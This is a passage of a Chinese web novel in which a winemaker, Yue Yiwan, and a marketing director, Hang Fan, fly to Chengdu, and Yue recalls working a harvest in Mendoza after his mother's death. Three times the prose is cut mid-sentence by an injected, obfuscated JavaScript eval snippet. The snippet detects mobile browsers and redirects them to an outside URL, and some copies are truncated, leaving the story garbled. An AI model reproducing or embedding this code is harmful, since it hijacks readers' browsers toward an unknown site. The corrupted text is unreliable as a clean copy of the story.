这位年轻的外籍酿酒师,连脑后的发揪都悲伤地耷拉了下来,神色之惆怅,活像是一条在烂泥地里打滚后被罚站家门口的沮丧金毛大狗。 可岳一宛对他却没有半点的怜悯之心。 “带上你,你能做什么?” 斯芸的首席酿酒师冷笑回道:“上次带你去春糖,三天的展期里你只出现了半个下午。让你回来写个各大产区的流行品种趋势报告给我,结果一年过去了,我连报告的半个字儿都没看见!” “你想去的是春糖吗?”岳大师一针见血地戳破了Antonio的小心思:“我看你那是又想去成都泡夜店。” 泡吧梦碎,Antonio捧着他那颗破裂的小心脏,嘤嘤悲泣着滚去角落里帮忙搬行李。 “那我去又能做什么?” 满腹疑惑地,杭帆指向自己:“你没有在指望我能来给你写报告吧?丑话先说在前,我可是连酿酒葡萄的品种都还没认全的。” “你?”岳大师抱着胳膊笑道,“你当然是去干你自己工作的。” “不是杭总监你说的吗,怀疑是因为酒庄生活确实很枯燥,所以官号上的vlog才没人看来着?” 啪得一声,首席酿酒师得意地打了个响指:“你都这么说了,那我可不得带你去个不枯燥的地方转转?” 没有平台的流量扶持,斯芸酒庄在各个平台上的账号数据都确实是特别的差,杭帆一度焦虑到觉得自己已经行走在了随时会被Harris开除的边缘。 如今听了这人这话,杭总监半是感动半是窒息,好一阵之后才终于憋出一句话来:“……那还真是谢谢您老,慈悲为怀,出个差都不忘记要让小的蹭点KPI。” 岳一宛哈哈大笑,拉开车门让杭帆先上。 “哎,爱卿多礼了。这都是朕该做的嘛。”他说。 ——有时候,杭帆真的怀疑会岳一宛到底有没有接受过义务教育,因为这人好像从不知“客气”二个字要怎么写。 从烟台蓬莱机场出发,要经过三小时的飞行,才能抵达成都天府机场。 登机前,杭帆用自己的常旅客积分升了舱,转头就看到岳一宛已经拿着公司给订的公务舱登机牌走过来。 “这么巧?”岳一宛瞥见了他的座位号,眼睛一亮:“起飞前才值机,我还以为咱俩会被分开坐呢。” 巧什么巧,杭帆面无表情地想,本牛马是因为经常飞去全国各地为公司拉磨卖命,这才有足够积分可换一张舒适座位好吗? 就算是在万米高空之中,岳一宛也依然是岳一宛。 登上飞机之后,杭帆第一件事是拿出了自己的平板电脑——显而易见,这是他自己的私人设备,因为冯越的那件事,公司配给的那台平台总是微妙地让杭总监感到膈应——苦思冥想地开始了新一轮账号发布用的文案写作。 而他旁边的首席酿酒师,则用那招牌般闪亮迷人的微笑,向空姐要来了公务舱上的酒单。 “嗯,这个牌子……他们前几年做出的酒都很水啊。” 水之一字,对葡萄酒而言简直不吝于是最难听的骂人话。 “虽然感觉冤枉了他们的可能性不是特别高,但为以防万一……小姐,您好!请问这款可以让我先尝一点吗?谢谢您。” 在服务人员面前,岳一宛的语气总是谦和又温柔,是最招人喜爱的那一种客人。 但坐在一旁的杭帆却十分确信,某位葡萄酒大法师即将对着酒杯发动他的毒舌吟唱之术。 “果然,四五年过去了,这东西还是和我记忆里一样的难喝呢!以机上酒水的采购预算来看,果然也不能对葡萄酒的品质有过多的指望啊。” 就知道,岳大师的锐评并不会因海拔高度而缺席。 这家伙甚至连厥词都要放得有凭有据,在没有喝过之前,绝不草率地冤枉任何一瓶酒。 “唉,这些难喝东西到底都是谁在酿,又是谁在喝啊……这对吗?这应该吗?连葡萄都要为自己的死有余辜而痛哭了!” 听到这人辞不达意但又确实辛辣的评论,杭总监差点就把果汁都给笑呛进了气管里。 死有余辜的分明是你那歹毒的修辞水平吧岳一宛! 杭帆笑过一阵,又开始抓耳挠腮地给酒庄的官方账号编写内容文案。 自打进了罗彻斯特,文案这种东西总让他越写越觉痛苦,有时候甚至尴尬地想要掐上自己一把。 “以极致匠心表达出了中国风土的臻藏级佳酿”,他写下这样的句子,删除,然后再写下大差不差的类似表述,再删除。 他知道,这些话既苍白又无味。无论是浏览它们,还是写出它们,都与品尝一块已经被咀嚼过无数遍的甘蔗无异。 一个空虚得令人恶心的谎言。 ——即便是在罗彻斯特内部,斯芸也被视为集团内奢侈级别最高的品牌之一。 追赶时髦的工薪族们,或许会认真考虑用几千上万的价格去买下一只能用上足足三五年的名牌皮包,但绝不会考虑用同样的价格购买一支几小时内就立刻喝完的酒。 “只有真正的蓝血贵族才会购买和欣赏这样的酒。”奢侈品的所谓品牌调性,正是这种傲慢宣言的无声表述。 ——可这一切,到底又与杭帆本人有什么关系? 奢侈是一场金钱的游戏。在这个赛场里,“贵”才意味着“好”,越贵就是越好。 “百年传承的荣誉与风格”,“征服一代巨星,皇室挚爱之选”,所有这些极尽雕饰的浮华语句,最终也都不过只是“优越”与“昂贵”的同义词罢了。 无论是在总部的工位上,还是在出差的飞机里,这样绞尽脑汁地编纂着词汇,也无非是为了让那些随手就能丢掷千金的富豪们认可这些商品的“名贵”,让他们愿意买下这些昂贵到近乎于金银等价的酒水,再如泼水般轻易地将之挥霍。 ——然而,即便在罗彻斯特的各种极限高压下奔波忙碌了一整年,杭帆拿到的年终奖数额,也抵不上富豪在游艇派对里随手摆出一座二十层香槟塔的钱。 为了拍摄罗彻斯特酒业在社交媒体平台上投放的广告,只穿着泳衣的年轻模特们在度假酒店的泳池边摆出“松弛又不经意”的性感造型。只要导演说重来一次,模特们就要被粉红色的起泡酒一遍遍地浇透全身。淡季的度假区无人拜访,正是租借酒店用于拍摄的好时节,而罗彻斯特名下的酒品都很名贵,所以“起泡酒”的拍摄道具其实只是一桶桶勾兑了色素的碳酸水,只有顶着寒风拍摄广告的这些人,反倒成为了这支视频背后最便宜的“商品”。广告里的模特,搭建置景的工人,为团队提供创意并筹划行程的所有的这些工作人员,他们都买不起视频广告里的那些昂贵东西。 为了让罗彻斯特酒业能在电商平台的购物节里分得一杯羹,好几个部门通宵达旦地在办公室里加班。从海报风格的确立到字体颜色的调整,稿件一轮又一轮地改。要不要请代言人来直播间帮忙带货?找哪些网红博主来进行购物节前的预热? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15473483|169300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方案一个接一个地被抛出来,待办事项增殖得如同培养皿里的细菌那样疯狂。有人一连几天都住在办公室里,有人因精神崩溃而在厕所里放声哭泣,还有人在胃穿孔住进医院之后仍然在病床上抱着笔记本电脑上班。身为他们中的一员,杭帆需要罗彻斯特的这份工资来偿还房贷,正如其他同事需要这份工资来抚育孩子与赡养老人。他们所有这些人,都买不起商品海报上的那些昂贵东西。 ——他们尽了最大的努力,去为公司麾下的品牌们营造出“极致的纸醉金迷”与“优雅得举重若轻”等种种形象,并试图让客户相信,只要购买了这些产品,你也就拥有了这样梦幻般的生活。 但制造这些“幻觉”的人们自己,他们中的绝大多数,都从未有过这样的生活。现在没有,过去不曾,未来也不可能过上这样的生活。 ——这难道不荒诞吗? 杭帆不想将那些虚伪矫饰的言辞放入斯芸酒庄的账号里。而这都要怪岳一宛。 在这位个性鲜明却又全心全意地热爱着他的工作的酿酒师面前,任何粗制滥造的修辞,任何愚蠢浮夸的表述,都像是对岳一宛心血之作的侮辱。 而杭帆——是啦,我就是喜欢自讨苦吃。小杭总监无不烦躁地想——他总觉得自己还能做得更好。 他觉得自己应该要做得更好,最好能像他念书时所崇拜的每一个名垂青史的广告人那样,像他还没从大学毕业时就曾梦想过的那样:以自己的创想和工作,去成为托举住他人翅膀的风。 可这实在是很难的一件事。有时候杭帆也怀疑,这是否是一种过度理想主义的痴心妄想。在反复检查斯芸酒庄账号上那些不足三位数的浏览量时(杭总监没有和任何人说起过,但这确实刷新了他职业生涯的最差成绩),那种针扎般的自我怀疑感觉尤其鲜明。 与枯竭灵感和焦躁内心的搏斗令杭帆头痛欲裂。他从风衣口袋里摸出了降噪耳机,试图以此来对抗飞机发动机的隆隆响声,却在这时被岳一宛的胳膊肘轻轻捅了下腰。 “你看起来像是快要被工作给勒死了。”斯芸的首席酿酒师递过酒杯,“要不先尝尝这个?” 杭帆毫不怀疑,别说是酒,这时候就算岳一宛递过来了一杯毒药,自己也依然会不管不顾地一饮而尽。 “……这是什么?” 喝完之后,杭总监才想起来要问这个问题。 “马尔贝克。”岳一宛回答道:“一种具有强烈个性的酿酒葡萄。在阿根廷,它被认为是当地最重要的葡萄品种,而且大多都种植于门多萨地区。” 门多萨。 这是个令人感到耳熟的地名。杭帆依稀记得,那里是岳一宛的母亲Ines的家乡。 小杭总监并不以为自己的葡萄酒鉴赏水平已经升级到了可以妄议好坏的地步。但他刚刚喝下的这一杯,有着浓郁暗紫红的色彩与极其柔和的口感,就像是一杯足以包容万物的海。 荷马史诗里,深沉又宽广的海洋,常常被描绘为葡萄酒的颜色。 “我觉得它喝起来还不错。”杭帆诚实地说道。 他其实不太确定岳一宛递给自己这杯东西的目的是什么。 以小杭总监对岳一宛个性的了解,再参照岳大师先前锐评连发的状态,如果酿酒师说他分享这杯酒的目的只是为了让杭帆也感受一下这东西到底有多“水”的话,杭帆一点也不会觉得奇怪。 但杭帆接触葡萄酒也才刚满一个月,要他如此能敏锐地区分出酒水的好坏,未免也实在太高看他了。 “对吧?我也觉得它的表现力非常不错。” 出人意料的是,岳大师竟然对杭帆的观点表示了赞同。 “我要是记得没错,这支酒的零售价格应该在六十块钱左右。” 身为斯芸酒庄的首席酿酒师,岳一宛毫不掩饰自己语气里的赞赏之意:“竟然能在这么低的价格里做出这种水平的酒……真是让人肃然起敬啊,这位同行。” 22.门多萨往事(上) “六十块一支?” 这价格着实对杭帆造成了不小的冲击:“这样的酒,你……你也会认为它是好喝的吗?” “对不起,我的意思不是说你会嫌弃六十块的酒。” 杭帆的脑子有些混乱,“只是……呃,在酿酒行业里,斯芸已经是一个很高的标准了吧?天天被浸泡在这样的标准里,六十块一支酒,你不会觉得它起来感觉特别‘水’或者‘低级’吗?” “嗯……”岳一宛沉吟着,“这是个好问题啊。” “如果把斯芸六千块一支的酒,与这支六十块的酒放在一起进行对比,斯芸的酒毫无疑问会获得压倒性的胜利。”酿酒师说:“虽然你可能认为这是一种王婆卖瓜式的自吹自擂啦……但哪怕我不是斯芸的酿酒师,我依然会得到同样的结论。” “并不是因为它的售价更昂贵,所以品质就一定更好。斯芸的酒款品质更好,是因为我们确实付出了更多的努力,从葡萄田到发酵罐再到橡木桶,每一个环节上,斯芸的团队为之付出的心血,远远超过行业内的大多数酒商。” “这意味着,我们的葡萄品质会比别人更好一点,我们对发酵的控制会比别人更加精准一点,我们在对橡木桶的选择上会比别人更加老练一点。是诸如此类的无数个‘一点点’,才令斯芸的葡萄酒有了显著的‘优秀’。” 杭帆注意到,在提到那些为斯芸的酿酒事业付出努力的人们时,岳一宛说的是“我们”,而不是简单的一个“我”。 “但所有这些‘一点’的背后,都是要花钱的。” 斯芸的首席酿酒师又说。 “是因为背靠着罗彻斯特,所以斯芸酒庄才花得起这些钱。但并不是所有的酒庄与酒商都有这样的幸运。像斯芸这样近乎不计成本的酒庄,大部分酿酒师,终其一生无法得到在这里工作的机会——但是,这并不代表他们酿造出来的作品就一定是糟糕的。” 打开手里的酒单,岳一宛指向那支来自门多萨的葡萄酒。它的酒标是一方蓝得深邃的天空。 “葡萄酒是很诚实的东西。只要你为它付出过的努力,它就会在最终的成品里记下这一笔。” 飞机上提供的一次性红酒杯,拿在手里总有一种重量失衡的廉价感。但岳一宛握持酒杯的动作依旧如拈花般优雅。 “售价便宜意味着成本低廉,而低廉的成本就意味着酒商不可能承担得起亲自租地种葡萄的巨大开销。到了收获季,所有酒商都在争抢着采购葡萄,而一支酒只卖六十块的酒商,他们在市场上也没什么挑挑拣拣的权利,有时候可能甚至都买不到最想要的那个品种。” 他的语气亲切,几乎于像是在怀念。 “要在这种天天都会出新岔子的环境里工作,可不是一件容易的事情。好多年之前,我也曾经在那样的酿酒厂里工作……呃,说‘工作过’就似乎有些言过其实了,我那个大概只能叫添乱吧。” 他笑了笑,“但我确实见过他们工作时的样子。令人印象深刻。” “你想要听一听这个故事吗?” 病床上的Ines没能撑过二月的最后一天。那时,距离岳一宛的十六岁生日,才只过去了不到三周。 遵照她的生前遗愿,她的哥哥再次从阿根廷赶来,要将Ines的一部分骨灰带回他们的故乡门多萨。 『你有一双和我妹妹很像的眼睛。』在殡仪馆的告别仪式上,这位舅舅对岳一宛,『或许,你愿意和我一起回去,去见见我们的母亲吗?就是你的外祖母。她的膝盖刚接受完手术,无法长途飞行来跟她的孩子告别。』 岳一宛听懂了,但他没有回答。 失去母亲的巨大悲痛,在少年人的胸膛中凿出了一个空旷如溶洞的缺口。 他几乎不感觉到饥饿,也从不感觉到口渴。身体像是成为了一种与大脑断开了联系的物件,而他的思绪飘飞在半空中,幽灵般不带感情地评判着丧礼上出现的每一个人。 那天,他看见父亲,因爱妻的离世而在一夜之间白掉了大半的头发。 ——但岳一宛只是在心中冷然地想:如果你这么爱她,那在之前的这些年里,为什么董事会、股价与应酬,总是比她更重要?为什么你连结婚纪念日的晚餐都能缺席,却又要在她的葬礼上流泪到肝肠寸断? 那天,他看见爷爷,手中拄着楠木拐杖,黑色中山装像是架在身上的一副硬挺棺材板。 ——就是这个老人,对待Ines的态度甚至总是极其苛刻,连带着对岳一宛也少有好脸色。而现在,雪亮的灵堂灯光照出了他脸上每一块瘢痕,深深凹陷下去的眼窝像是面皮上戳出的两个洞。他老了,因而比任何人都更敏锐地闻到了死亡的气味。岳一宛直勾勾地盯着他的脸,近乎于恶意地观赏着这名威严大家长身上所泄露出的恐惧气味。这让他感觉到了类似于报复般的快意。 那天,他看见舅舅,一个虎背熊腰的中年人,身穿黑西装,头戴黑礼帽,像是意大利电影里的那些西西里黑手党。 ——他还没来及做出一些刻薄评论,这个在血缘上是他舅舅然而之前却几乎从未与他见过面的男人,已经开口请求道:『请你和我一起回去,好吗?』 岳一宛是被父亲打包塞上飞机的。 『Iván,请替我向她道歉。』头发斑白的男人,亲自开车送他去机场与舅舅汇合:『我是说,向你外婆道歉。我欠她的。』 十六岁的岳一宛仍旧一言不发。自打葬礼结束之后,他就没有再开口说过一句话。在内心深处,他似乎以为,只要能够这样顽固地抵抗到底,自己就可以拒绝接受那个惨烈的现实。 『照顾好自己。』 在国际航班的安检队列前,他父亲又拉住了他:『有件事,Iván……我得和你商量一下。等你回来之后,在去大学报道之前,我们谈一谈。』 在心里,岳一宛隐约能够猜到父亲要和自己谈论的事情是哪一桩。 他盯着那个男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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自从葬礼之后,他就一直处于心神恍惚的状态,收拾行李的时候更是彻底忘记了带书本与电脑之类的消遣品。 这导致岳一宛只能躺在阁楼里的那张小床上(那张床可真是该死的小啊!哪怕是稍微翻个身,都会立刻踢到床尾的铁杆,痛得他连眼泪都掉出来了),像尸体那样一动不动,眼睁睁地与头顶的天花板对望。 ……如果那两片把整个阁楼都给夹成了三角形的斜坡屋顶也能算是天花板的话。 在岳一宛过去十六年的人生中,他从未想象过世界上还有这样的生活:一复一日地被无聊所浸透的生活。 在自己的家里,他的房间从来都与父母的主卧一样宽敞,以至于他一度认为这是件太阳会从东边升起般理所应当的事情。 可Ines的房间,盛载了母亲全部青春时代的这间阁楼,却是这么的小,这么的逼仄。连照明都只能依赖斜开在屋顶上的那一方天窗,即便岳一宛站在床上踮起脚来,也无法推开它去房间换气。 多年无人居住,阁楼的空气里淡淡飘散着一股陈旧灰尘的味道。岳一宛打开房间里仅有的两只橱柜,里面空无一物,像木制怪兽呆滞张开的嘴,把二十多年前都一切痕迹都给吞吃进了虚无里去。 他合上柜门,重新爬上了那张又窄又小的床,任由悲哀的苦痛如潮水般将自己淹没。 23.门多萨往事(中) 岳一宛在他母亲的小阁楼里装了整整两天的尸体。他什么也没想,什么也没做,就只是躺在那里,看着遥远窗外的那一小块苍蓝色天穹。 第三天的时候,他终于主动地从阁楼里下来。那是三月上旬的一天,不知为何,这栋宅子里的每一个人都忙得像陀螺打转。 『哦,Iván,cari?o(亲爱的)!你可终于起床了!』 他的舅妈是一位丰腴又热情的女性,每日里都有做不完的家务与做不完的饭菜。她永远穿着那条带花边的厨房围裙,像岳一宛打招呼的时候,手上总是沾着糖霜与面粉。 『你要吃点什么?噢,我先给你来点儿喝的吧,你一定是口渴了对不对?我们有茶,有牛奶,还有咖啡!小伙子,你应该不会是大清早的就想来杯酒吧?这可不行啊!』 她忙忙碌碌地在厨房里拾掇着,最后端出一杯兑了大量新鲜牛奶的咖啡,还往里面加了满满两勺糖。 小心翼翼地,她把这只满到要溢出来的马克杯递进了外甥的手里。 『我听说在你们那边,大家都喜欢吃鱼虾和螃蟹一类的东西。』 舅妈在围裙上用力地擦着手,『可惜我们这里很少吃这些。你饿了吗?你想吃些什么呢,Iván?炸饺子,土豆丸子,火腿奶酪派?如果你喜欢的话,我们还有昨天剩下的一些柠檬蛋糕!』 年轻的男孩点点头,他的意思是都行。他仍然不愿意开口说话。 『这几天的饭菜你都还喜欢吗,cari?o?你以前应该没吃过这样的吧?』 舅妈给他端来了满满两盘子的食物。和南瓜一起炖的牛肉,土豆粉搓成的丸子,刚出炉的滚烫奶酪派的一个切角,什么都有,满满当当地堆成两座小山。 『你得多吃一点,小伙子,看看你都瘦成什么样儿了!』 她放下食物就又立刻回到了灶台前,开始搅拌起那口大到离谱的锅:『你还要再来点儿别的什么吗,Iván?我正在煮豆子汤呢,来一碗尝尝吧怎么样?』 说实话,岳一宛没什么胃口。 但他更震惊于这间厨房正源源不断地制造出大量菜肴的这一事实——就看看灶台上那只正用来炖豆子的巨大汤锅吧!岳一宛毫不怀疑那口锅可以塞下一整个自己。 即便是加上岳一宛,这间房子也才不过住了区区七口人而已。而这厨房里有那么多刚烤好的小圆面包,挤挤挨挨地蹲在玻璃罩子下的糕点,还有像流水线一样源源不断端上桌的烤肉与炖菜…… 这都是在干吗啊!? 岳一宛心中感到疑惑,随即感到有一根弦正在渐渐地绷紧——且不说他的那位外祖母并不像是会这样溺爱孩子的类型,厨房里这些菜品的份量也已经远远超过了招待一两位客人的程度——这更像是为一大群人所提供的菜色。 令他想起了葬礼。 他想起殡仪馆灵堂煞白的灯光,想起慢刀割肉般低哑的啜泣声,想起舅舅打开一块黑布,谨慎地包住那一小盒骨灰的样子。 再一次地,痛苦扼紧了岳一宛的咽喉,令他几乎无法顺畅地呼吸。 『有什么我能帮忙的吗?』 他终于开口了。 因为他必须得做点什么,他非得做点什么不可,在痛苦真正地将他击倒之前。 尽管没有明言,但岳一宛问的是Ines的葬礼。 既然Ines的一部分骨灰已经回到了门多萨,她的娘家人势必将要为她举办一场葬礼。而厨房里现在正像流水席一样毫不间断地往外出着菜…… 除了葬礼后的聚餐,还有什么场合会需要用到这么多的菜肴呢? 舅妈停下了手里的活儿,她的眼里露出了些惊喜的神色。 『帮忙?』她似乎不太确定自己听到了这个词,『噢,你可真是个好孩子!虽然我不确定他们还需不需要额外的人手,但有人来帮忙总归会是一件好事儿,你说对吧Iván?』 她絮絮叨叨地嘀咕着,忙不迭地从冰箱里拿出可乐给他,还往岳一宛手里塞了两块比手掌还大的甜饼干。 『快去吧,孩子。快去吧。』她说,『你舅舅一定很高兴看见你。』 从那栋只有两层楼的砖石房子里走出来,面前是门多萨省一望无际的辽阔平原。 南半球的三月,正是阿根廷秋季的开始。无云的天空蔚蓝如洗,收获季的酿酒葡萄在大地上站成一排排笔直的碧绿长线。 在地平的尽头,蜿蜒的苔绿色山脉拔地而起,锋利崎岖如石刃的山顶上,轻盈地覆盖了一层净白的雪。 这里的田间道路都非常广阔,横平竖直,像是小学生练习簿里的田字格。岳一宛走在路上,阳光积极地自天顶倾泻而下,如迎头浇下一盆热水,烫得皮肤生痛。 而舅妈指给他的位置,就在这条笔直田埂的正前方。 『Iván!』 低矮屋檐下,舅舅看到他,高兴得像是看到了救世主。 他伸出胳膊,重重地握了握岳一宛的手,好像面对的人不是自己尚未成年的外甥,而是一个办事牢靠的成年人。 『你愿意来帮忙?那可真是太好了!快来吧小子,你妈一定教过你这个!我们实在忙不过来了,该死的,今年的葡萄怎么来得这么快?多你一个人,我们就能快点儿收拾完这群葡萄!』 在脑子反应过来之前,岳一宛的腿已经自动在简易传送带边占据了一个位置。 他不知道为什么会变成这样——Hello?请问这里还有人记得放在客厅里的Ines的骨灰吗?——但他的手和眼却已经自发地启动起来。只需要一眼,他就能迅速地识别出混迹于果实里的叶片与藤梗,并在它们滚下传送带前精准地将之摘取丢弃。这个动作 在过去的每个秋天里,当岳一宛又干下了些上房揭瓦的捣蛋事体后,他都会被妈妈罚去酿酒车间里干这个。简单,但是辛苦,能把一个精力过分充沛的半大男孩给累到哭天喊地。 他原先以为,这种仿佛旧日重现般的情景一定会让自己感到难过。但实际上,劳动的辛苦彻底麻痹了岳一宛的大脑,六个小时弹指一挥而过。 等这批葡萄全都被打碎并送进发酵装置里的时候,岳一宛已经累得蹲在了地上。如果可以的话他真的想像一条死鱼一样摊平了躺下,但强烈的自尊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就连坐在边上舅舅也不住地夸他。这个男人一边说话,一边大口大口地把蘸饱了汤汁的面包与奶酪派往嘴里塞,胃口好得像是能生吃下一头小牛犊。 『是不是Ines?你常和她一起工作吗?』 不知是不是劳累与饥饿的缘故,他的口吻中甚至来不及带上死别的感伤:『她从以前开始就是这样!手脚麻利得令人羡慕,三个青年男人也抵不上她一个小姑娘的速度!』 不。岳一宛用鼻子发出了半死不活的哼声。我在家里可不干这个。 只有做了坏事还不巧被妈妈发现的时候,我才会被罚去拣葡萄梗。他心想,这种事情,本来不就是应该由负责采摘的农民与酿酒车间的工人去做的吗? 『爸!』 在他们吃饭的时候,十四岁的表妹突然哐哐地用汤勺敲打了两下锅壁,『你吃饭吃太快了!慢一点,再慢一点!还记得做胃镜的医生对你说过些什么吗?』 正站起身的舅舅哈哈大笑起来,他随意地擦了擦嘴,低头抱了抱家里这个最小的女儿。 『来不及了,孩子!下次吧!』 他的步履匆忙,临时受雇的酿酒工们也接二连三地跟在老板身后站起来。 『葡萄可不等人呢!』 24.门多萨往事(下) 葡萄可不等人呢。 这话Ines对他说过吗?岳一宛不记得了。 在每个榨季里最繁忙的那段时间,妈妈总是在天亮之前就已出门。 等到岳一宛起床的时候,保姆已经热好了牛奶,一边往桌上端早饭,一边说教他:『出门嘛头发总是要梳一下的呀。哎呀,小岳,你鸡蛋总要吃一个的呀,今天面包不吃啦?那你拿着,带去学校吃!你这个小囝,大人讲话也不听,我是要去跟伊女士告状的哦!』 就算学过了再多关于葡萄酒的知识,母亲与父亲也都从未真正把他视作酿酒车间里的一名员工——似乎在Ines与她的丈夫看来,岳一宛似乎还远未长大到可以“参加工作”的地步。他似乎永远都还是那个需要被人照顾和被人叮嘱的小孩儿呢。 但在这里,一切都不一样了。 舅舅的酿酒厂——与其说是酿酒厂,倒不如说是一个家庭式的小酒坊——只有在榨季到来的时候,才会临时雇佣一些有经验的酿酒工来帮忙。极其有限的成本导致他们的人手永远不足,这使得家中的每一个人,都成为了酒坊而言都是不可或缺的劳动力。 十四岁的表妹(她叫Martina,是一个来源于战神Mars的、给人以刚强坚韧印象的名字)灵巧地收拾掉了厨余垃圾,把桌布麻利一卷,连同锅碗桶盆一起放回了车上。而舅妈则弯腰打扫着地上掉下的那些葡萄梗与葡萄叶片,酿酒工将软管接上水龙头,一起冲洗地面。 『Iván!』舅舅在卡车上叫他,『我们要去收葡萄,你来不来?』 岳一宛的腿在痛,胳膊也在痛。但他还是咬咬着牙站了起来。 『去。』他简洁地回答道,正要拉开了卡车副驾座的门,却听舅舅大笑着摆手,往后指了指。 『你不能坐这儿,小子。前面没位置了!老规矩,跟车的小子们坐后边儿!』 “后边儿”的意思是指皮卡车的后斗货箱。就在岳一宛犹豫着怎么爬上去的当口,表妹Martina已经像猴儿一样敏捷地蹬上了货箱。 『快上来。』她向岳一宛伸出手,语气毫无耐心:『别磨磨蹭蹭的,车马上就要开了!』 虽然一点不想被这个小自己两岁的女孩子给看扁,但在皮卡车启动的时候,岳一宛还是没能保持住平衡——惯性,这奸贼在他身上猛得一推,他就像纸箱里装的柠檬那样,噗里咕噜地滚了出去。 也许是因为重体力劳动的缘故,在岳一宛的记忆里,这一天过得似乎格外漫长。 皮卡车出发的时候,太阳才刚刚显现出往西边斜坠的迹象。舅舅说,距离太阳落山还有至少一个多钟头,他们得赶在天黑之前赶到那片有葡萄可收的田地里。 『那里是你们家的葡萄园?』 驾驶室里的大人们正口沫横飞地聊着些听不懂的事情,岳一宛只好问向身边的Martina,『距离这里很远吗?』 『我们家没有葡萄园。』这位表妹竟然还见缝插针地在皮卡的后斗货箱里写起了作业! 『我妈妈说咱家以前也有过的,但现在没了。』 她说话的语气非常老成,岳一宛很难通过这些简短的回答来摸索出她的感想。 『在我出生之前,爷爷就已经把它们都卖了。』 『像大酒庄那样精细种植葡萄,实在是太贵了。』她说,『灌溉、人力、购买葡萄藤,这些都很贵,我们辛辛苦苦一整年,最后酿酒卖来的钱根本养不活地上的那么多张嘴。』 岳一宛紧紧闭上了嘴。他想到家里的那些葡萄田。 三月,是北半球的葡萄开始抽芽的季节。在Ines去世之后,还有人会继续关照它们、期待它们结出新一季的果子吗?没有了Ines这位首席酿酒师,家里的那间小小葡萄酒厂,又将走向什么样的结局呢? 斜阳将天幕涂抹成淡淡的橘色,连安第斯山脉的雪线也渐渐发出金光。 皮卡车在路上疾驰着,驶过一块块浓绿荫荫的葡萄田,也驶过一块块方方正正的澄绿水塘。遥远山脚下,白羽的水鸟成群结队地振翅而起,溪流汇聚之处,瓦蓝色湖水像梦一样的静谧安详。 『我听爸爸说,你要去读大学了。』 写完了作业的Martina,终于抬起头来看向他:『你是要在中国读书吗?什么专业?』 岳一宛摇头。 『我去法国读生物化学专业。』他说,『然后拿到法国的国家酿酒师文凭。』 『噢!国家酿酒师文凭,我听说这个!很厉害的!』 说到这里,小姑娘的神情里立刻充满了好奇,语气里也突然多了一丝不确定似的不安:『你要去法国?在那里读书是不是挺贵的?小姑……呃,我是说你父母,他们很有钱吗?』 『……大概吧。』岳一宛说。 他不明缘由地感到一种强烈的羞耻感。在这些日复一日地于酒坊里劳作着的人们面前,他这个几乎没有参与过任何酿造与田间工作的人,却大言不惭地说什么“国家酿酒师文凭”,简直像是一种愚蠢的痴癫。 『我们到了!』舅舅在驾驶座里冲他们喊道,『快快快,动起来动起来!趁着太阳还没下山,赶紧的!』 门多萨,就像世界上的所有葡萄酒产区那样,既存在那些自己划地种植葡萄的大酒庄,也存在这些只酿酒而不种葡萄的小酒厂。既有那些专门在大酒庄的葡萄田里工作的农民,也有这些只在自己的田间劳作并把葡萄卖给酒厂的农民。 『我的中间人打电话给我,说你家今年有些很不错的葡萄。』 两人重重一握手,舅舅抬起下巴,向田里指了指:『能让我先看看你的葡萄吗,兄弟?』 农夫模样的男人呵呵地笑,『随便看,随便看。』他说,『这边的可以全都卖给你。』 眼下正是收获的季节,葡萄藤上密密匝匝地挂着一串串紫得发黑的葡萄。 『‘全都卖’的意思,就是要买就必须把一整片田里的果子全部买下来的意思。』 轻手轻脚地跟着大人们一道走进葡萄田里的时候,Martina问岳一宛道:『你们那里应该也是这样的吧?』 这是岳一宛第一次跟着大人们来地里收购葡萄,国内酿酒葡萄的买卖行情,问他还不如问百度。 他支支吾吾了好半天,最后仍是答不上来,只能试图用扔出新问题来搪塞上一个问题:『这块田的葡萄藤,好像都没有做过疏果处理。这样不行吧?』 『你是傻瓜吗?能给我们去收购的这些葡萄可都是按重量计价的!』 表妹的回答理直气壮:『傻子才会给按重量计价的葡萄做疏果呢!要是提前打掉了那些还没成熟的果子,商品的重量可不就变低了吗?』 『有什么就用什么,咱也没条件挑剔那么多。』 Martina在田里走得飞快,目光迅疾地检视过藤条上的一串串葡萄:『要是出手太晚,葡萄就要被别家酒厂给买走了!』 以岳一宛看来,这些葡萄上虽然少有腐烂与破碎的颗粒,但每一串之间的成熟度却并不一致。若是要把整片田的葡萄都全部收购下来,按这不均匀的成熟情况来看,酒液或许无法获得最佳的风味…… 『爸爸!』岳一宛还没在脑子里整理完他的思路,Martina已经迅速检阅完了她负责的那几行葡萄:『我觉得这里没问题!咱们收下来吧!』 年轻的男孩不由大感愕然。 说话间,他的舅舅已在田边点了支烟。『很不错的葡萄。』老练的酿酒师对田块的主人说道,『但这就是你所有的葡萄了吗?我的中间人告诉我说,你种了一批很不错的西拉葡萄,但我们现在看到的只有马尔贝克葡萄。』 农夫叼着烟哈哈地笑:『马尔贝克,这可是我们门多萨的珍宝!』他明显是在故意装傻:『怎么,难道你不喜欢马尔贝克?』 『我喜欢你的马尔贝克,它们长得非常壮实,或许会成为很有力量的葡萄酒。』舅舅说,语气平和,『但是我也需要一些西拉葡萄。你懂的,兄弟,我需要它来帮马尔贝克进行混酿。所以你的那些西拉葡萄呢?』 耸了耸肩,那农夫摊开了手。 『没啦,兄弟。今年的西拉已经没啦。』他故作遗憾地说道:『你来得太晚啦!所有的西拉都已经被人给买走啰!』 